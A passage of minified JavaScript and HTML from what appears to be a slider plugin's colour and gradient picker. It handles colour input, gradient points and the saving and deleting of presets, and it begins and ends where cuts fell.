class="revbuilder-cpicker-onoff-inner"><div class="revbuilder-cpicker-onoff revbuilder-cpicker-off"><span>OFF</span></div><div class="revbuilder-cpicker-onoff revbuilder-cpicker-on"><span>ON</span></div></div></div></div><div class="revbuilder-cpicker-hideable"><div class="revbuilder-cpicker-row"><div class="revbuilder-cpicker-iris revbuilder-cpicker-supress"><input id="revbuilder-cpicker-iris-gradient" class="revbuilder-cpicker-iris-input" /></div></div></div></div></div><div id="revbuilder-cpicker-gradient-presets" class="revbuilder-cpicker-presets"><div class="revbuilder-cpicker-side revbuilder-cpicker-left"><div class="revbuilder-cpicker-row first"><span data-text="preset_group" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover"><select id="revbuilder-cpicker-preset-gradients" class="revbuilder-cpicker-dropdown revbuilder-cpicker-preset-selector"><option value="core">Defaults</option><option value="custom">Custom</option></select></div></div><div class="revbuilder-cpicker-row"><span data-text="save_preset" class="revbuilder-cpicker-title"></span><div class="revbuilder-cpicker-input-wrap revbuilder-cpicker-hover"><input type="text" class="revbuilder-cpicker-input revbuilder-cpicker-preset-save" data-placeholder="enter_a_name" /></div></div><div class="revbuilder-cpicker-row"><span class="revbuilder-cpicker-spacer"></span><span class="revbuilder-cpicker-btn revbuilder-cpicker-hover revbuilder-cpicker-save-preset-btn" data-alert="naming_error" data-message="Please enter a unique name for the new color preset"><i class="material-icons">save</i><span data-text="save"></span></span></div></div><div class="revbuilder-cpicker-side"><div id="revbuilder-cpicker-gradients-core" class="revbuilder-cpicker-presets-group ps-container"></div><div id="revbuilder-cpicker-gradients-custom" class="revbuilder-cpicker-presets-group ps-container revbuilder-cpicker-presets-custom"></div></div></div></div></div></div><div id="revbuilder-cpicker-right" class="revbuilder-cpicker-column"><div id="revbuilder-cpicker-exit" class="revbuilder-cpicker-close revbuilder-cpicker-btn-large revbuilder-cpicker-hover"><i class="material-icons revbuilder-cpicker-hover">close</i></div><div id="revbuilder-cpicker-toggle"><div id="revbuilder-cpicker-palette" class="revbuilder-cpicker-btn-large revbuilder-cpicker-hover"><i class="material-icons revbuilder-cpicker-hover revbuilder-cpicker-palette-closed">palette</i><i class="material-icons revbuilder-cpicker-hover revbuilder-cpicker-palette-open">keyboard_arrow_up</i></div><div id="revbuilder-cpicker-check" class="revbuilder-cpicker-btn-large"><i class="material-icons revbuilder-cpicker-hover">check</i></div></div></div></div><span id="revbuilder-cpicker-remove-delete" data-text="delete_confirm"></span></div>';function lt(){this.innerHTML=me[ct(this,"data-text")]}function nt(){this.setAttribute("placeholder",me[ct(this,"data-placeholder")])}function dt(){this.setAttribute("data-message",me[ct(this,"data-alert")])}function ct(e,t){return e.getAttribute(t)||""}function pt(t){t||(t={}),"string"==typeof t&&(t=JSON.parse(t.replace(/\&/g,'"'))),me=e.extend({},at,t),H=me.color,f.find("*[data-placeholder]").each(nt),f.find("*[data-alert]").each(dt),f.find("*[data-text]").each(lt)}function ut(t,i,a,r){var o,s,l,n,d;if(e.isPlainObject(t))for(var c in t)t.hasOwnProperty(c)&&("string"==typeof(t=t[c])?"gradient"===(t=RSColor.process(t))[1]?(n=(s=t[2]).angle,d=s.type,t=RSColor.processGradient(e.extend(!0,{},s),!0)):t=t[0]:(n=t.angle,d=t.type),o=isNaN(c)?c.replace(/_/g," ").replace(/\b\w/g,function(e){return e.toUpperCase()}):"radial"!==d?n+"&deg;":"radial");else o=t;if("blank"!==t){e.isPlainObject(t)&&(s=t,"",t=r||RSColor.processGradient(e.extend(!0,{},t),!0));var p='<span class="revbuilder-cpicker-color tptip'+a+'" data-title="'+o+'" data-color="'+t+'"><span class="revbuilder-cpicker-preset-tile"></span><span class="revbuilder-cpicker-preset-bg" style="background: '+t+'"></span>';return i||(p+='<span class="revbuilder-cpicker-delete"><i class="material-icons">clear</i></span>'),l=e(p+="</span>"),s&&l.data("gradient",s),l[0]}return(l=document.createElement("span")).className="revbuilder-cpicker-color blank",l}function vt(){var t=ct(this,"data-color").toLowerCase(),i=!Je&&t===Ce.toLowerCase();if(t===fe||i){var a=e(this);return a.closest(".revbuilder-cpicker-presets-group").find(".revbuilder-cpicker-color.selected").removeClass("selected"),Ee=a,Je&&!U&&ht(Ee.data("gradient"),!0),a.addClass("selected"),!1}}function gt(e,t){for(var i=document.createDocumentFragment(),a=-1!==e.search("core"),r=a?"":" revbuilder-picker-color-custom",o=t.length,s=Math.max(Math.ceil(o/Ye),Ue),l=0;l<s;l++)for(;t.length<(l+1)*Ye;)t[t.length]="blank";for(o=t.length,l=0;l<o;l++)i.appendChild(ut(t[l],a,r));return["revbuilder-cpicker-"+e,i]}function mt(e,t,i){if(xe){if(!e){var a=t||w.val(),r=void 0!==i?i:we.val();t="transparent"===a?"transparent":"100%"===r?RSColor.sanitizeHex(a):RSColor.processRgba(a,r)}var o="transparent"===t,s=o?"":t;e?R.data("state",t):k.data("state",t),o?(xe.css("background",s),Be.css("background",s)):(xe[0].style.background=s,Be.css("background",s)),d&&d(Le,t,be,Re),RVS.DOC.trigger("revcolorpickerupdate",[Le,t])}}function ht(i,a){var o=RSColor.process(i),s=o[1],n=o[0];if(r&&y.removeClass("checked"),"gradient"!==s&&"gradient_css"!==s){switch(s){case"hex":i=RSColor.sanitizeHex(n),we.val("100%"),Et(100);break;case"rgba":var d=RSColor.rgbaToHex(n),c=parseInt(100*d[1],10);i=d[0],we.val(c+"%"),Et(c);break;case"rgb":i=RSColor.rgbToHex(n),we.val("100%"),Et(100);break;default:re.trigger("click"),k.trigger("click")}z.val(i).change(),a||k.trigger("click")}else r?("gradient_css"===s&&(o[2]=JSON.parse(o[2])),function(i){var a=i.angle,r=i.easing?i.easing:"none",o=i.hasOwnProperty("strength")?i.strength:"100";"radial"===i.type&&(a="radial");oe.removeClass("selected"),e('.revbuilder-cpicker-orientation[data-direction="'+a+'"]').addClass("selected"),Qt(r),l.val(r).ddTP("change"),L.val(o+"%"),t.val(Vt(a)),Qt(),Jt(a),function(e){for(var t,i,a=document.createDocumentFragment(),r=e.length,o=0;o<r;o++)i=e[o],t=i.align,a.appendChild(_t(t,i.position,yt(i),bt(i,t)));pe&&pe.draggable("destroy");ue.empty().append(a),pe=ue.children().draggable(it)}(i.colors)}(o[2]),kt(),a||(de=!0,R.trigger("click"))):(z.val(RSColor.defaultValue).change(),k.trigger("click"));return[n,s]}function St(t,i){var a=function(e,t){var i,a=o.slice(),r=a.length;for(a.sort(RSColor.sortPoints);r--;)if((i=a[r]).align===e&&i.x<t)return i;r=a.length;for(var s=0;s<r;s++)if((i=a[s]).align===e&&i.x>t)return i}(t,i).color,r=bt(a,t,!0),s=_t(t,i,yt(a,!0),r);T&&T.removeClass("active"),T=e(s).addClass("active").appendTo(ue).draggable(it),G=T.children(".revbuilder-cpicker-point-square")[0],Q=T.children(".revbuilder-cpicker-point-triangle")[0],pe=ue.children();var l=ft(i);kt(s),"bottom"===t&&C.val(l[1]).change()}function ft(e){void 0===e&&(e=o[se].x);var t=T.attr("data-color"),i=T.hasClass("revbuilder-cpicker-point-bottom");if(i)ve.hasClass("active")&&ve.removeClass("active"),t=RSColor.rgbaToHex(t)[0],ze.css("background",t),f.find(".revbuilder-cpicker-point-bottom").length>2&&ve.addClass("active"),ce.parent().addClass("disabled"),f.addClass("open");else{ve.hasClass("active")&&(ze.css("background",""),ve.removeClass("active"));var a=RSColor.getOpacity(t);ce.attr("data-opacity",a).val(a).parent().removeClass("disabled"),f.find(".revbuilder-cpicker-point-top").length>2&&ve.addClass("active"),f.removeClass("open")}return I.val(e+"%").parent().removeClass("disabled"),[i,t]}function bt(e,t,i){return"bottom"===t?"rgb("+e.r+","+e.g+","+e.b+")":"rgba(0, 0, 0, "+(i?"1":e.a)+")"}function yt(e,t){var i=t?"1":e.a;return"rgba("+e.r+","+e.g+","+e.b+","+i+")"}function Rt(e,t){var i=RSColor.hexToRGB(e);t?(_.val(e),m.value=i[0],h.value=i[1],S.value=i[2]):(w.val(e),u.value=i[0],v.value=i[1],g.value=i[2],"0%"===we[0].value&&we.val("100%").trigger("focusout")),w.rsColorPicker("refresh")}function _t(t,i,a,r){var o=document.createElement("span");return o.className="revbuilder-cpicker-point revbuilder-cpicker-point-"+t,"string"==typeof a?o.setAttribute("data-color",a):e(o).data("gradient",a),o.setAttribute("data-location",i),o.style.left=i+"%",o.innerHTML="bottom"===t?'<span class="revbuilder-cpicker-point-triangle" style="border-bottom-color: '+r+'"></span><span class="revbuilder-cpicker-point-square" style="background: '+r+'"></span>':'<span class="revbuilder-cpicker-point-square" style="background: '+r+'"></span><span class="revbuilder-cpicker-point-triangle" style="border-top-color: '+r+'"></span>',o}function Vt(e){return M||(M=document.createElement("textarea")),e&&"radial"!==e||(e="0"),M.innerHTML=e+"&deg;",M.value}function Ot(){T&&(T.removeClass("active"),T=!1),I.parent().addClass("disabled"),ce.parent().addClass("disabled"),ve.removeClass("active"),ve.removeClass("active"),ze.css("background",""),f.removeClass("open")}function Bt(e,t){f.removeClass("active is-basic").hide(),a.removeClass("revbuilder-colorpicker-open"),Ae.css({left:"",top:""}),x&&(x.remove(),x=!1),Ee?(Ee.hasClass("selected")?(t&&Le.data("hex",Ee.attr("data-color").toLowerCase()),Ee.removeClass("selected")):Le.removeData("hex"),Ee=!1):Le.removeData("hex"),t||(J&&J(Le,ne,le,be,Re),Ie&&"transparent"!==Ie?(xe[0].style.background=Ie,Be.css("background",Ie)):(xe.css("background",""),Be.css("background","")),RVS.DOC.trigger("revcolorpickercancel",[Le,ne,le])),n=null,s=null,u=null,v=null,g=null,m=null,h=null,S=null,_=null,F=null,w=null,K=null,D=null,Y=null,X=null,$=null,Z=null,M=null,ae=null,ie=null,ue=null,Be=null,we=null,xe=null,Le=null}function Lt(t){var i=e.extend(!0,{},He);return RSColor.processGradient(i,!0,t)}function kt(i,a,r,n){q=a,xt(),q=!1;for(var d,c,p,u,v=[],g=o.length,m=0;m<g;m++)c=(p=o[m]).color,v[m]=c,(d=p.el).setAttribute("data-color",RSColor.rgbaString(c.r,c.g,c.b,c.a)),d.setAttribute("data-opacity",100*c.a),i&&i===d&&(se=m);s.hasClass("selected")?(He.type="radial",He.angle="0"):(He.type="linear",He.angle=parseInt(t.val(),10).toString()),He.colors=v,He.easing=l.val(),He.strength=parseInt(L.val(),10),Ee&&!Ne&&Ee.removeClass("selected"),n||(u=e.extend(!0,{},He),mt(!0,RSColor.processGradient(u,!0))),r||(Y||(Y=document.getElementById("revbuilder-cpicker-direction-horizontal")),X||(X=document.getElementById("revbuilder-cpicker-direction-vertical")),$||($=document.getElementById("revbuilder-cpicker-direction-radial")),Z||(Z=document.getElementById("revbuilder-cpicker-gradient-input")),u=Lt(!0),Z.style.background=function(e,t){var i;-1===e.search("deg")&&(i=(e=e.split("("))[0],e.shift(),e=i+"(180deg, "+e.join("(")),i=(e=e.split("("))[0],e.shift();var a=e.join("(").split(",");return a.shift(),i+"("+(t=void 0!==t?t+"deg,":"ellipse at center,")+a.join(",")}(u.replace("radial-","linear-").replace("ellipse at center,",""),"90"),"none"!==He.easing&&(u=Lt()),ae.style.background=u,He.type="linear",He.angle="90",Y.style.background=Lt(),He.angle="180",X.style.background=Lt(),He.type="radial",He.angle="0",$.style.background=Lt())}function wt(e,t){if(0===e)return!1;for(var i;e--;)if((i=o[e]).align!==t)return i;return!1}function It(e,t,i){if(e===i)return!1;for(var a;e++<i;)if((a=o[e]).align!==t)return a;return!1}function Ct(e,t,i){var a,r=t.alpha,o=i.alpha;a=r!==o?RSColor.distAlpha(e.x,t.x,i.x,r,o).toFixed(2):r,a=RSColor.sanitizeAlpha(a),e.alpha=a,e.color.a=a}function Tt(e,t,i){var a=e.color,r=t.color,o=i.color;if(t!==i){var s=e.x,l=t.x,n=i.x;a.r=RSColor.distColor(s,l,n,r.r,o.r),a.g=RSColor.distColor(s,l,n,r.g,o.g),a.b=RSColor.distColor(s,l,n,r.b,o.b)}else a.r=r.r,a.g=r.g,a.b=r.b}function xt(){o=[],A=[],E=[],pe.each(Ft),o.sort(RSColor.sortPoints);for(var e,t,i,a,r=o.length,s=r-1,l=0;l<r;l++)!1===(t=wt(l,i=(e=o[l]).align))&&(t=It(l,i,s)),!1===(a=It(l,i,s))&&(a=wt(l,i)),"bottom"===i?Ct(e,t,a):Tt(e,t,a);o.sort(RSColor.sortPoints)}function Ft(e){var t=RSColor.rgbValues(ct(this,"data-color"),4),i=-1!==this.className.search("bottom")?"bottom":"top",a=t[3].replace(/\.?0*$/,"")||0,r=this.style.left;-1!==r.search("px")?(r=parseInt(r,10),r=parseInt(100*(Math.round(r)/(Ze-2)).toFixed(2),10)):r=parseInt(r,10),q&&(r<50?r+=2*(50-r):r-=2*(r-50)),this.style.left=r+"%",this.setAttribute("data-location",r),a=RSColor.sanitizeAlpha(a),o[e]={el:this,x:r,alpha:a,align:i,color:{r:parseInt(t[0],10),g:parseInt(t[1],10),b:parseInt(t[2],10),a:a,position:r,align:i}},T&&T[0]!==this&&("bottom"===i?E[E.length]=r:A[A.length]=r)}function Jt(e){ie||(ie=document.getElementById("revbuilder-cpicker-wheel-point")),e=void 0!==e?e:parseInt(t.val(),10),ie.style.transform="rotate("+e+"deg)"}function Nt(i,a,r){var o,s,l=void 0!==r,n=l?r:parseInt(t.val(),10);if(i&&"keyup"===i.type)o=!isNaN(n)&&n>=-360&&n<=360,s=n;else{var d=parseInt(t.data("orig-value"),10);n||(n="0"),(isNaN(n)||n<-360||n>360)&&(n=s=d,t.val(Vt(n)),o=!0),n!==d&&(s=n,o=!0,t.val(Vt(n)),l||(n=a||n,oe.removeClass("selected"),e('.revbuilder-cpicker-orientation[data-direction="'+n+'"]').addClass("selected")))}(o||a)&&(s&&Jt(s),kt())}function Pt(e,t){var i=parseInt(100*(Math.round(t.position.left)/(Ze-2)).toFixed(2),10);I.val(i+"%").trigger("keyup")}function jt(){var t=e(this);t.hasClass("revbuilder-cpicker-point-bottom")?"bottom":"top",t.trigger("click")}function At(){I.trigger("focusout")}function Et(e){Me=!0,De.slider("value",Math.round(.01*e*$e)),Me=!1}function Dt(e){var t=te.offset(),i=e.pageX-t.left,a=e.pageY-t.top;if(!isNaN(i)&&!isNaN(a)){var r=Math.atan2(a-We,i-We)*(180/Math.PI)+90;r<0&&(r+=360),r=Math.max(0,Math.min(360,Math.round(r))),r=5*Math.round(r/5),!0,Nt(!1,!1,r),!1}}function Mt(e){e.stopImmediatePropagation()}function Gt(t){t||(t=ke),t.each(function(){var t=e(this).find(".revbuilder-cpicker-color").css("margin-bottom",0),i=t.length;t.each(function(e){e<i-4&&(this.style.marginBottom=et+"px")})}).RSScroll("update")}function Qt(t){K||(K=e("#revpicker-easing-row")),t||(t=l.val()),K["none"===t?"removeClass":"addClass"]("active")}function zt(){b||function(){a||(a=e("body"),f=e('<div class="revbuilder-cpicker-wrap _TPRB_ color-view palette-open">'+st+"</div>").appendTo(a));Ve.core&&(Ve.core.colors&&(rt=Ve.core.colors),Ve.core.gradients&&(ot=Ve.core.gradients));Zt(Ve),pt(Ve.language||at),b=!0}(),ze=e("#revbuilder-cpicker-preview-gradient"),ve=e("#revbuilder-cpicker-color-delete"),ce=e("#revbuilder-cpicker-grad-opacity"),I=e("#revbuilder-cpicker-color-location"),oe=e(".revbuilder-cpicker-orientation"),C=e("#revbuilder-cpicker-iris-gradient"),z=e("#revbuilder-cpicker-iris-color"),R=e("#revbuilder-cpicker-gradient-btn"),re=e("#revbuilder-cpciker-clear-hex"),y=e("#revbuilder-cpicker-meta-reverse"),De=e("#revbuilder-cpicker-scroll"),k=e("#revbuilder-cpicker-color-btn"),L=e("#revbuilder-cpicker-strength"),t=e("#revbuilder-cpicker-meta-angle"),te=e("#revbuilder-cpicker-wheel"),Ae=e("#revbuilder-cpicker"),l=e("#revbuilder-cpicker-easing"),it.drag=Pt,it.stop=At,it.start=jt,k.data("state",e("#revbuilder-cpicker-colors").find(".revbuilder-cpicker-color").eq(0).attr("data-color")||"#ffffff"),R.data("state",e("#revbuilder-cpicker-gradients").find(".revbuilder-cpicker-color").eq(0).attr("data-color")||"linear-gradient(0deg, rgba(255, 255, 255, 1) 0%, rgba(0, 0, 0, 1) 100%)"),Ae.draggable({containment:"window",handle:".revbuilder-cpicker-draggable",stop:function(){Ae.css("height","auto")}}),ke=e(".revbuilder-cpicker-presets-group").RSScroll({wheelPropagation:!1,suppressScrollX:!0}),te.on("mousedown.revcpicker",function(e){oe.removeClass("selected"),W=!0,Dt(e)}).on("mousemove.revcpicker",function(e){W&&Dt(e)}).on("mouseleave.revcpicker mouseup.revcpicker",function(){W=!1}),e(".revbuilder-cpicker-main-btn").on("click.revcpicker",function(){var t;if(U=-1===this.id.search("gradient"),xe&&(t=e(this).data("state")),U?(xe&&(fe=w.val()),f.removeClass("gradient-view").addClass("color-view")):(xe&&(fe=t),f.removeClass("color-view").addClass("gradient-view"),de||(F.children(".revbuilder-cpicker-color").not(".blank").eq(0).trigger("click"),de=!0)),t){var i="transparent"===t?"":t;xe.css("background",i),Be.css("background",i),Je=!0,e(".revbuilder-cpicker-color").not(".blank").each(vt),Je=!1,RVS.DOC.trigger("revcolorpickerupdate",[Le,t])}U||(Ne=!0,e(".revbuilder-cpicker-point-bottom").first().trigger("click"),Ne=!1)}),e("#revbuilder-cpicker-palette").on("click",function(){f.hasClass("palette-open")?f.removeClass("palette-open"):(f.addClass("palette-open"),Gt())}),e("#revbuilder-cpicker-check").on("click.revcipicker",function(){var t,i,a,r;if(f.hasClass("color-view")){var o=w.val(),s=we.val();a="transparent"===o?"transparent":"100%"===s?RSColor.sanitizeHex(o):RSColor.processRgba(o,s),t=[Le,a,!1],i=a}else{Ot(),kt(!1,!1,!0,!0);var l=JSON.stringify(He).replace(/\"/g,"&");i=RSColor.processGradient(e.extend(!0,{},He),!0),t=[Le,i,l]}!0!==(r=t[1]!==Ie)&&!0!==ge||(Le.attr("data-color",t[1]),RVS.DOC.trigger("revcolorpickerchanged",t),Qe&&Qe(t[0],t[1],t[2],be,Re)),Bt(0,!0===r||!0===ge)}),f.on("click.revcpicker",function(t){e(t.target).closest("#revbuilder-cpicker").length||Ot()}),e(".revbuilder-cpicker-close").on("click.revcpicker",Bt),z.wpColorPicker({palettes:!1,width:190,border:!1,hide:!1,change:function(e,t){var i=t.color.toString();if(this.value=i,Rt(i),!Fe){var a=we.val();0===parseInt(a,10)&&(i="transparent"),mt(!1,i,a),Ee&&(Ee.removeClass("selected"),Ee=!1)}}}),C.wpColorPicker({palettes:!1,height:190,border:!1,hide:!1,change:function(e,t){var i=t.color.toString();this.value=i,Rt(i,!0),ze.css("background",i),G.style.backgroundColor=i,Q.style.borderBottomColor=i;var a=RSColor.processRgba(i,100),r=RSColor.rgbValues(a,4),o=He.colors[se];o.r=r[0],o.g=r[1],o.b=r[2],o.a=RSColor.sanitizeAlpha(r[3]),T&&T.attr("data-color",a),kt()}}),De.slider({orientation:"vertical",max:$e,value:$e,start:function(){je="transparent"===w.val()},slide:function(e,t){if(!Me){var i,a=parseInt(100*(t.value/$e).toFixed(2),10);je&&(i=a?"#ffffff":"transparent",w.val(i)),0===a&&(i="transparent"),mt(!1,i,a||"transparent"),we.val(a+"%")}}}),e("body").on("click.revcpicker",".revbuilder-cpicker-point",function(){ue.find(".revbuilder-cpicker-point.active").removeClass("active"),T=e(this).addClass("active"),G=T.children(".revbuilder-cpicker-point-square")[0],Q=T.children(".revbuilder-cpicker-point-triangle")[0],kt(this);var t=ft();t[0]&&C.val(t[1]).change()}).on("mousedown.revcpicker",".revbuilder-cpicker-point",function(t){T=e(this).data("mousestart",t.pageY)}).on("mousemove.revcpicker",function(e){if(T&&T.data("mousestart")){var t=T.data("mousestart"),i=e.pageY;T.hasClass("revbuilder-cpicker-point-bottom")?i>t&&i-t>Ke&&ve.hasClass("active")?T.addClass("warning"):T.removeClass("warning"):t>i&&t-i>Ke&&ve.hasClass("active")?T.addClass("warning"):T.removeClass("warning")}}).on("mouseup.revcpicker",function(e){if(T&&T.data("mousestart")){var t=T.data("mousestart"),i=e.pageY;T.removeData("mousestart"),T.hasClass("revbuilder-cpicker-point-bottom")?i>t&&i-t>Xe&&ve.hasClass("active")?ve.trigger("click"):T.removeClass("warning"):t>i&&t-i>Xe&&ve.hasClass("active")?ve.trigger("click"):T.removeClass("warning")}}).on("keypress.revcpicker",function(e){if(f.hasClass("active")){var t=e.which;27==t?Bt():13==t&&V&&V.blur()}}).on("click.revcpicker",".revbuilder-cpicker-color:not(.blank)",function(){if(Ee){if(Ee[0]===this&&Ee.hasClass("selected"))return;Ee.removeClass("selected")}if(Ee=e(this),f.hasClass("color-view")){var t,i=Ee.attr("data-color"),a=RSColor.process(i);"rgba"===a[1]?(i=RSColor.rgbaToHex(a[0]),t=100*parseFloat(i[1]),we.val(t+"%").trigger("keyup"),i=i[0]):"transparent"!==a[1]&&"transparent"!==i?we.val("100%").trigger("keyup"):(Fe=!0,re.trigger("click")),Fe=!0,z.val(i).change(),"transparent"===w.val()&&w.val(i.toLowerCase()),Fe=!1;var r=we.val();0===parseInt(r,10)&&(i="transparent"),mt(!1,i,r),Ee.addClass("selected")}else n.removeClass("full"),D.removeClass("full"),ht(Ee.data("gradient"),!0),y.removeClass("checked"),F.find(".revbuilder-cpicker-color.selected").removeClass("selected"),e(".revbuilder-cpicker-point-bottom").first().trigger("click"),Ee.addClass("selected")}).on("mouseover.revcpicker",".revbuilder-cpicker-color:not(.blank)",function(){Pe&&(ae.style.background=ct(this,"data-color"))}).on("mouseout.revcpicker",".revbuilder-cpicker-color:not(.blank)",function(){Pe&&kt()}).on("click.revcpicker",".revbuilder-cpicker-delete",function(){if(p){if(window.confirm(document.getElementById("revbuilder-cpicker-remove-delete").innerHTML)){f.addClass("onajax onajaxdelete");var t=e(this),i=t.parent(),a=i.attr("data-title")||"";if(!a)return void console.log("Preset does not have a name/title");var r=-1!==t.closest(".revbuilder-cpicker-presets-group")[0].id.search("colors")?"colors":"gradients";RVS.DOC.off("revcpicker_onajax_delete.revcpicker").on("revcpicker_onajax_delete.revcpicker",function(a,r){r&&console.log(r);var o=t.closest(".revbuilder-cpicker-presets-group"),s=o.find(".rs__scrollbar-x-rail");i.remove(),e('<span id="hello" class="revbuilder-cpicker-color blank"></span>').insertBefore(s),Gt(o),f.removeClass("onajax onajaxdelete")}),a=e.trim(a.replace(/\W+/g,"_")).replace(/^\_|\_$/g,"").toLowerCase(),p("delete",a,r,"revcpicker_onajax_delete",Le)}return!1}console.log("Ajax callback not defined")}),e(".revbuilder-cpicker-save-preset-btn").on("click.revcpicker",function(){if(p){var t,i,a=e(this),r=a.closest(".revbuilder-cpicker-presets").find(".revbuilder-cpicker-preset-save").val();if(r&&isNaN(r)){if(t=f.hasClass("color-view")?"colors":"gradients",r=e.trim(r.replace(/\W+/g,"_")).replace(/^\_|\_$/g,"").toLowerCase(),e("#revbuilder-cpicker-"+t+"-custom").find(".revbuilder-cpicker-color").not(".blank").each(function(){if(e.trim(ct(this,"data-title").replace(/\W+/g,"_")).replace(/^\_|\_$/g,"").toLowerCase()===r)return alert(a.attr("data-message")),i=!0,!1}),!i){f.addClass("onajax onajaxsave");var o,s,l={};if("colors"===t){var n=w.val(),d=we.val();o="transparent"===n?"transparent":"100%"===d?RSColor.sanitizeHex(n):RSColor.processRgba(n,d)}else s=ae.style.background,kt(!1,!1,!0),o=e.extend({},He);l[r]=o,RVS.DOC.off("revcpicker_onajax_save.revcpicker").on("revcpicker_onajax_save.revcpicker",function(i,r){if(r)return f.removeClass("onajax onajaxsave"),void alert(a.attr("data-message"));var o=e(ut(l,!1," revbuilder-picker-color-custom",s)),n=e("#revbuilder-cpicker-"+t+"-custom"),d=n.find(".rs__scrollbar-x-rail"),c=n.find(".revbuilder-cpicker-color.blank");if(c.length)c=c.eq(0),o.insertBefore(c),c.remove();else{o.insertBefore(d);for(var p=n.children(".revbuilder-cpicker-color").length,u=Math.max(Math.ceil(p/Ye),Ue)*Ye;p++<u;)e('<span class="revbuilder-cpicker-color blank"></span>').insertBefore(d)}e("#revbuilder-cpicker-preset-"+t).val("custom").trigger("change"),Gt(n),o.trigger("click"),e(".revbuilder-cpicker-preset-save").val(""),f.removeClass("onajax onajaxsave")}),p("save",l,t,"revcpicker_onajax_save",Le)}}else alert(a.attr("data-message"))}else console.log("Ajax callback not defined")}),re.on("click.revcpicker",function(){Et(0),z.val(RSColor.defaultValue).change(),w.val("transparent"),mt(!1,"transparent"),clearTimeout(Oe),Oe=setTimeout(Ht,100)}),f.find('input[type="text"]').on("focusin.revcpicker",function(){V=this}).on("focusout.revcpicker",function(){V=!1}),e(".revbuilder-cpicker-input").on("focusin.revcpicker",function(){var t=e(this);t.data("orig-value",t.val()).parent().addClass("focus")}).on("focusout.revcpicker",function(){e(this).parent().removeClass("focus")}),e(".revbuilder-cpicker-rgb").on("focusin.revcpicker",function(){e(this).data("prev",this.value)}).on("focusout.revcpicker keyup.revcpicker",function(){var t=this.value;isNaN(t)||t<0||t>255?this.value=e(this).data("prev"):f.hasClass("color-view")?w.val(RSColor.rgbToHex("rgb("+u.value+","+v.value+","+g.value+")")).trigger("focusout"):_.val(RSColor.rgbToHex("rgb("+m.value+","+h.value+","+S.value+")")).trigger("focusout")}),e(".revbuilder-cpicker-hex").on("focusout.revcpicker",function(){var t,i;if("revbuilder-cpicker-color-hex"===this.id){if(!(i=w.val()))return void re.trigger("click");if(i=RSColor.sanitizeHex(i),RSColor.isColor.test(i))Rt(i);else{if(!(t=e(this).data("orig-value")))return void re.trigger("click");if("transparent"===(i=t))return void re.trigger("click");Rt(i)}z.val(i).change()}else i=_.val()||RSColor.defaultValue,i=RSColor.sanitizeHex(i),RSColor.isColor.test(i)||(i=(t=e(this).data("orig-value"))||RSColor.defaultValue),_.val(i),C.val(i).change()}).on("focusin.revcpicker",Mt),I.on("keyup.revcpicker focusout.revcpicker",function(e){if(T){var t,i="bottom"===(T.hasClass("revbuilder-cpicker-point-bottom")?"bottom":"top")?E:A,a=I.val().replace("%","")||"0",r=e.type;for(isNaN(a)&&(a="keyup"===r?"0":T.attr("data-location")),t=(a=Math.max(0,Math.min(100,parseInt(a,10))))<50?1:-1;-1!==i.indexOf(a);)a+=t;"focusout"===r&&(I.val(a+"%"),T.attr("data-location",a)),T.css("left",a+"%"),kt()}}).on("focusin.revcpicker",Mt),e("#revbuilder-cpciker-clear-gradient").on("click.revcpicker",function(){C.val(RSColor.defaultValue).change()}),t.on("keyup.revcpicker focusout.revcpicker",Nt).on("focusin.revcpicker",Mt),oe.on("click.revcpicker",function(){var i=e(this),a=i.attr("data-direction");oe.removeClass("selected"),i.addClass("selected"),"radial"!==a?t.val(Vt(a)):t.val(0),Nt(!1,a)}),e(".revbuilder-cpicker-point-delete").on("click.revcpicker",function(){if(-1!==this.className.search("active")){var e=T.hasClass("revbuilder-cpicker-point-bottom")?"bottom":"top",t=f.find(".revbuilder-cpicker-point-"+e).length;t>2&&(T.draggable("destroy").remove(),pe=ue.children(),f.trigger("click"),kt()),t<=qe&&("bottom"===e?D.removeClass("full"):n.removeClass("full"))}}),e(".revbuilder-cpicker-preset-save").on("focusin.revcpicker",Mt),e(".revbuilder-cpicker-opacity-input").on("keyup.revcpicker focusout.revcpicker",function(t){var i,a=-1===this.id.search("grad"),r=a?we:ce,o=r.val().replace("%",""),s=t.type;if(isNaN(o)&&(o="keyup"===s?"0":e(this).data("orig-value").replace("%","")),o=Math.max(0,Math.min(100,o)),"focusout"===s&&(r.val(o+"%"),a||T.attr("data-opacity",o)),a){mt(!1,0===parseInt(o,10)&&"transparent",o),Et(o)}else{var l=RSColor.rgbValues(T.attr("data-color"),3),n=He.colors[se];o=RSColor.sanitizeAlpha(.01*parseInt(o,10)),n.r=l[0],n.g=l[1],n.b=l[2],n.a=o,i=RSColor.rgbaString(n.r,n.g,n.b,o),T.attr("data-color",i),kt(),i="rgba(0, 0, 0, "+o+")",G.style.backgroundColor=i,Q.style.borderTopColor=i}}).on("focusin.revcpicker",Mt),e(".revbuilder-cpicker-builder-hit").on("click.revcpicker",function(e){o||xt();for(var t=parseInt(100*((e.pageX-n.offset().left)/Ze).toFixed(2),10),i=-1!==this.id.search("bottom")?"bottom":"top",a="bottom"===i?E:A,r=t<50?1:-1;-1!==a.indexOf(t);)t+=r;"bottom"===i?f.find(".revbuilder-cpicker-point-bottom").length<qe?(St(i,t),Ee=!1):D.addClass("full"):f.find(".revbuilder-cpicker-point-top").length<qe?(St(i,t),Ee=!1):n.addClass("full")}),y.on("click.revcpicker",function(){!y.hasClass("checked")?y.addClass("checked"):y.removeClass("checked"),kt(!1,!0)}),l.on("change.revcpicker",function(){kt(),Qt(this.value)}),L.on("keyup.revcpicker focusout.revcpicker",function(e){var t=L.val().replace("%",""),i=e.type;isNaN(t)&&(t="keyup"===i?"0":L.data("orig-value").replace("%","")),t=Math.max(10,Math.min(1e3,t)),"focusout"===i&&L.val(t+"%"),kt()}).on("focusin.revcpicker",Mt);var r=e(".revbuilder-cpicker-preset-selector").on("change.revcpicker",function(){var e=this.value,t="core"===e?"custom":"core",i=-1!==this.id.search("colors")?"colors":"gradients";document.getElementById("revbuilder-cpicker-"+i+"-"+t).style.display="none",document.getElementById("revbuilder-cpicker-"+i+"-"+e).style.display="block",Gt()});e.fn.ddTP&&(r.ddTP(),l.ddTP()),i=!0}function Ht(){we.val("0%")}function Zt(t){var i,a,r,o,s,l=e.extend({},t),n=l.core||{},d=l.custom;!he||d?(o=4,d=(he=d)||{colors:[],gradients:[]}):o=2,n.colors||(n.colors=rt),n.gradients||(n.gradients=ot);for(var c=0;c<o;c++){switch(c){case 0:i="colors-core",r=n.colors;break;case 